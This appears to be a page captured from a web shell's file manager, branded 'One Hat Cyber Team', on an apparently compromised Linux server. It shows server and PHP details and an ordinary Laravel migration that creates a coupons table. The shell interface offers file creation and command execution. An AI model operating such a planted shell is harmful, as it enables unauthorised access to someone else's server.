⚝
One Hat Cyber Team
⚝
Your IP:
192.88.135.6
Server IP:
192.124.249.6
Server:
Linux 56.244.72.148.host.secureserver.net 5.14.0-570.62.1.el9_6.x86_64 #1 SMP PREEMPT_DYNAMIC Tue Nov 11 10:10:59 EST 2025 x86_64
Server Software:
Apache
PHP Version:
8.1.33
Buat File
|
Buat Folder
Eksekusi
Dir :
~
/
home
/
umkm
/
public_html
/
database
/
migrations
/
View File Name :
2022_02_26_063414_create_coupon_table.php
<?php use Illuminate\Database\Migrations\Migration; use Illuminate\Database\Schema\Blueprint; use Illuminate\Support\Facades\Schema; class CreateCouponTable extends Migration { /** * Run the migrations. * * @return void */ public function up() { Schema::create('coupons', function (Blueprint $table) { $table->bigIncrements('id'); $table->string('name', 255)->nullable(); $table->string('code', 255)->nullable(); $table->string('type', 255)->nullable(); $table->decimal('value', 11, 2)->nullable(); $table->string('start_date', 255)->nullable(); $table->string('end_date', 255)->nullable(); $table->text('packages')->nullable(); $table->string('maximum_uses_limit')->nullable(); $table->string('total_uses')->nullable(); $table->timestamps(); }); } /** * Reverse the migrations. * * @return void */ public function down() { Schema::dropIfExists('coupons'); } }